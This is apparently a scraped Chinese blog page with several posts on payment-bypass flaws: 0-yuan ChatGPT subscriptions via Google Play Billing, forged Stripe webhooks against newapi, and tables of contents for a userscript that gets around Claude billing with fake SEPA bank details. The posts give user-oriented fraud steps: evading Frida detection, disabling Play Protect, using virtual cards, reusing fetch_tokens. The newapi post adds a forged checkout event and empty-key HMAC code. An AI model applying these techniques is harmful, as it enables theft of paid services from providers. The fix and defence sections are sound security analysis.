在订阅页面点击升级，弹出的谷歌支付弹窗即显示 0 元
完成验证后订阅成功

注意事项：

建议使用简化版脚本，更稳定
如果简化版不工作，再尝试动态捕获版
使用 HLUDA 版本 Frida 可绕过部分检测
部分设备可能需要关闭 Google Play 保护机制

漏洞根源分析

方案一：API 响应注入

漏洞根源：服务端未校验 eligible_promo_campaigns 中优惠码的获取途径合法性，仅验证格式有效即允许使用。

修复状态：部分修复。目前部分优惠码已与账号资格绑定，但固定优惠码仍可使用。

方案二：offerToken 替换

漏洞根源：Google Play Billing 信任客户端传入的 offerToken，未与服务端二次校验账号是否真正具备该优惠的使用资格。

修复状态：未修复。这是 Google Play Billing 的设计缺陷，需要谷歌层面修复。

方案三：批量开 Pro（已修复）

这是之前某个公益 Bot 使用的大规模开 Pro 方案：

正价开通一个 ChatGPT Pro 账号
在客户端内点击"降级为 Plus"
客户端向 RevenueCat 请求新的 fetch_token
该 token 为一次性凭证，未使用前可无限生成
将 token 分发给需要开 Pro 的账号

漏洞根源：RevenueCat 作为第三方订阅管理平台，与 ChatGPT 服务端之间的回调接口缺乏鉴权机制。服务端未校验 fetch_token 的来源合法性，仅验证 token 格式有效即开通权益。

修复状态：该方案已被修复。目前 fetch_token 已与设备指纹和账号绑定，无法跨账号使用。

技术总结

漏洞类型

业务逻辑漏洞：服务端过度信任客户端传入的订阅凭证
第三方集成风险：RevenueCat/Google Play Billing 回调接口缺乏鉴权
优惠码校验缺失：未校验优惠码的获取途径合法性和账号资格

攻击链关键点

中间人攻击可行性：安卓客户端未启用 SSL Pinning（或可被 Root 绕过）
内存 Hook 可行性：Google Play Billing 未检测 Frida 等 Hook 框架
零元订阅风控宽松：Google Play 对 0 元交易验证级别低
凭证复用漏洞：fetch_token/offerToken 未与账号/设备绑定

防御建议

对开发者的建议

服务端校验：所有订阅状态变更必须与 Google Play Billing 侧二次确认
凭证绑定：fetch_token/offerToken 应绑定设备指纹、账号 ID、时间戳
优惠码校验：记录优惠码使用历史，检测异常使用模式
SSL Pinning：移动端应用应启用证书锁定防止中间人攻击
反 Hook 检测：检测 Frida、Xposed 等 Hook 框架

对用户的提醒

此类漏洞属于灰色地带，使用可能导致账号被封禁
绑定的支付方式存在潜在风险，建议使用虚拟卡
漏洞随时可能被修复，不建议作为长期使用方案

法律免责声明

本文仅用于技术研究与安全交流，请勿将所述技术用于非法用途。未经授权的订阅漏洞利用可能违反以下法律：

《中华人民共和国网络安全法》
《计算机信息网络国际联网安全保护管理办法》
美国 Computer Fraud and Abuse Act (CFAA)

如因滥用本文技术导致的法律后果，作者不承担任何责任。

参考资料

标签: #ChatGPT #订阅漏洞 #GooglePlayBilling #Frida #支付安全 #移动安全 #漏洞分析

newapi Stripe Webhook 充值漏洞深度分析 - 空密钥绕过支付验证

Thu, 16 Apr 2026 05:07:00 +0000

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：该漏洞已在 newapi v0.12.10 中修复。如果你正在使用 newapi，请确认已升级到修复版本。本文保留仅供支付安全设计参考。

漏洞概述

2026 年 4 月 16 日，LINUX DO 社区用户披露了 newapi 项目中的一个严重充值漏洞。攻击者可在未配置 Stripe 密钥的情况下，通过伪造签名绕过支付验证，实现零成本任意金额充值。

影响版本：v0.12.10 之前 修复版本：v0.12.10 漏洞类型：签名验证绕过 / 支付逻辑缺陷 风险等级：🔴 严重（直接资金损失）

攻击流程详解

第一阶段：信息收集

1. 发现目标暴露了 Stripe Webhook 端点 /api/stripe/webhook
2. 通过初始审计（或黑盒探测）确认服务端使用了空的 StripeWebhookSecret
3. 获取或猜测 client_reference_id 的格式（如 USR + 数字 + 随机字符串 + 时间戳）

攻击者首先识别出目标的 Webhook 端点，并探测到服务端未正确配置 webhook_secret（空字符串）。这是漏洞利用的关键前提。

第二阶段：伪造签名

Stripe 的签名机制：

signed_payload = "{timestamp}.{json_body}"
v1 = HMAC-SHA256(webhook_secret, signed_payload)
Header = "t={timestamp},v1={v1}"

当 webhook_secret = “"（空字符串）时：

HMAC-SHA256 不会报错，正常计算
任何人都能对任意 payload 算出与服务端一致的签名
服务端调用 webhook.ConstructEventWithOptions() 验签 → 通过 ✅

这是整个漏洞的核心：空密钥仍能通过 HMAC 计算，导致签名验证形同虚设。

第三阶段：构造恶意事件

伪造一个 checkout.session.completed 事件：

{
 "type": "checkout.session.completed",
 "data": {
 "object": {
 "client_reference_id": "目标用户/订单 ID",
 "status": "complete",
 "payment_status": "paid",
 "amount_total": 任意金额
 }
 }
}

攻击者可指定任意 client_reference_id 和 amount_total，实现定向充值和任意金额。

第四阶段：发送请求

向 Webhook 端点发送带有伪造签名的 POST 请求，服务端处理流程：

收到请求
 ↓
用空密钥验签 → 通过 ✅
 ↓
解析事件类型 → checkout.session.completed
 ↓
读取 client_reference_id 查找订单
 ↓
标记订单已支付，给用户充值

第五阶段：结果

项目	说明
用户余额	被充入攻击者指定的金额
Stripe 实际收款	$0（从未发生真实支付）
Stripe Dashboard	无对应交易记录
服务端日志	看起来像正常的 Webhook 回调

技术原理分析

为什么空密钥能通过验签？

HMAC-SHA256 算法本身不验证密钥长度。当密钥为空字符串时：

import hmac
import hashlib

# 空密钥仍能计算
signature = hmac.new(
 b"", # 空密钥
 b"timestamp.body",
 hashlib.sha256
).hexdigest()
# 结果：有效的 64 字符十六进制字符串

服务端代码若未检查 webhook_secret 是否为空，就会用空密钥验签，导致攻击者可以：

获取相同的 payload
用空密钥计算相同的签名
伪造出"合法"的请求

正确的防御姿势

# ❌ 错误：未检查密钥是否为空
if not webhook_secret:
 webhook_secret = "" # 危险！

# ✅ 正确：强制要求配置密钥
if not webhook_secret or len(webhook_secret) < 32:
 raise ConfigurationError("Stripe webhook secret must be configured")

影响范围

直接受影响

所有使用 newapi v0.12.10 之前版本
未配置或错误配置 StripeWebhookSecret 的实例
依赖 Stripe Webhook 进行充值确认的业务

潜在风险

资金损失：攻击者可零成本获取服务额度
数据污染：虚假交易记录污染财务数据
合规风险：支付审计无法通过

修复建议

立即措施

升级版本：立即升级到 v0.12.10 或更高版本
检查配置：确认 StripeWebhookSecret 已正确配置（非空）
审计日志：检查历史 Webhook 记录，排查异常充值

长期加固

启动检查：服务启动时强制验证关键配置项
签名验证增强：除 HMAC 外，增加时间戳窗口校验
对账机制：定期与 Stripe Dashboard 对账，发现不一致立即告警
监控告警：对大额充值、频繁充值设置阈值告警

代码修复示例

v0.12.10 的修复逻辑（推测）：

// 修复前
func (s *Service) VerifyWebhook(payload []byte, signature string) (*Event, error) {
 secret := s.config.StripeWebhookSecret // 可能为空
 event, err := webhook.ConstructEvent(payload, signature, secret)
 return &event, err
}

// 修复后
func (s *Service) VerifyWebhook(payload []byte, signature string) (*Event, error) {
 if s.config.StripeWebhookSecret == "" {
 return nil, errors.New("stripe webhook secret not configured")
 }
 event, err := webhook.ConstructEvent(payload, signature, s.config.StripeWebhookSecret)
 return &event, err
}

总结

这是一个典型的配置缺陷 + 逻辑漏洞组合：

配置缺陷：允许空密钥存在
逻辑漏洞：未验证密钥有效性即进行签名计算

教训：安全配置项必须在上层进行有效性校验，不能依赖底层库的"隐式行为”。空字符串不是"未配置"，而是"配置了空值"——这两者有本质区别。

参考资料

本文基于社区披露信息进行分析，仅供安全研究参考。请合法合规使用，未经授权不得对任何系统进行测试。

漏洞复现 on 逍遥笔记

焚决 Claude — 一个油猴脚本如何撬开 Anthropic 的支付大门

联系逍遥

前言

一、攻击全景：一个 API 字段改写引发的连锁反应

正常的 Claude 订阅流程

劫持后的流程

二、SEPA 直接借记——为什么填个假账号也能过

先搞清楚 SEPA 是什么

信用卡 vs SEPA 直接借记：两套完全不同的信任模型

SEPA CORE 清算流程

MOD 97-10：格式校验的局限性

为什么偏偏是德国 IBAN？

三、脚本逐行技术拆解

3.1 元数据——抢在一切之前

3.2 精确制导——只改一个接口

3.3 Fetch 拦截——先发后改

3.4 Response 重构——细节决定成败

3.5 XHR 双通道保险

3.6 状态指示器

四、横向迁移：这不是一个漏洞，是一类漏洞

漏洞本质

通用攻击模型

五、防御视角

给服务端开发者

给安全研究者

六、实战翻车现场：“验证失败并清除旧会话”

为什么会出现这个错误？

五种常见的会话失效原因

应对策略

小结

七、写在最后

相关阅读

GPT Plus 订阅漏洞深度分析 - Google Play Billing 鉴权缺失导致 0 元订阅

联系逍遥

前言

两种攻击方式对比

方式一：API 响应注入（无需 Root）

攻击原理

环境准备

可用优惠码

构造优惠响应

零元订阅与风控绕过

提取订阅凭证

方式二：offerToken 内存替换（需要 Root）

攻击原理

环境准备

四步攻击流程

可用优惠码

完整 Frida 脚本（简化版）

完整 Frida 脚本（动态捕获版）

漏洞根源分析

方案一：API 响应注入

方案二：offerToken 替换

方案三：批量开 Pro（已修复）

技术总结

漏洞类型

攻击链关键点

防御建议

对开发者的建议

对用户的提醒

法律免责声明

参考资料

newapi Stripe Webhook 充值漏洞深度分析 - 空密钥绕过支付验证

联系逍遥

漏洞概述

攻击流程详解

第一阶段：信息收集

第二阶段：伪造签名

第三阶段：构造恶意事件

第四阶段：发送请求

第五阶段：结果

技术原理分析

为什么空密钥能通过验签？

正确的防御姿势

影响范围

直接受影响

潜在风险

修复建议

立即措施